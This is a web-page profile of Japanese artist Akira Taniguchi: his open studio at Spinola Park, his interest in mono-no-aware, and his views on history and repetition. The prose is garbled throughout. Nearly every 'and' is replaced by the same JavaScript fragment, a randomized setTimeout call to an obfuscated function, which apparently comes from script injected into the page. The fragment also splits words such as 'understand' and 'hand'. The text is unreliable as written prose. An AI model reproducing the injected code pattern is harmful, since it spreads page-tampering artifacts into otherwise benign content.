Akira Taniguchi

Akira Taniguchi is a Japanese artist andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and masters student at Tokyo University of the Arts. Akira will be welcoming visitors during The Trail at his pop-up open studio at Spinola Park to see him creating one of his pieces, which are usually paintings, but sometimes installations.

Akira has been very inspired by a Japanese concept: もののあはれ “Mono-no-aware (the pathos of things)” which is close to the concept of Memento Mori (remembrance of death) in Western culture. Akira regards continuity as the inspiration for his art, encompassing the idea that we humans continue to live, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we cease to live one day, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that existence andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and death are two sides of the same coin. Taking this idea as his starting point, he creates installations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and art using bold colours andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and patterns which repeat to communicate the idea of “Mono-no-aware”.

“I like news andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I like history.” explains Akira. “To understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and news in any kind of depth, we need to know about history. Every political problem andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and every kind of incident has its own background andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and precedent. I believe we have to judge such matters from many aspects in order to grasp the truth about them. Your ‘justice’ might not be ‘justice’ for everyone. Our inability to solve the tragic situation in the Middle East is a case in point. By studying human history, we easily realise the truth of the maxim, “history repeats itself.” We humans kill, cheat, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and love each other again andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and again. Time passes, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we can never go back to a previous historical time, but there are always many similarities between those times andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and these times. The river of time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and history flows ceaselessly, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and while the flow may be the same, the water is not. Things like this continue to flow but they also change at the same time. That is what I think about in the course of creating my art. My works repeat, but the fact that my handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is painting them ensures that no two blocks are ever really the same. The differences may be hard to discern, but they are there nonetheless. The truth is hard to find, but I really need to find it.”

Akira was awarded the Dean’s Award at his degree show at Sydney College of the Arts, Australia andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is excited to be part of both this autumn’s Transnational Tokyo exhibition in Valletta linking the art of Japan andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the West as well as Allura – The Trail.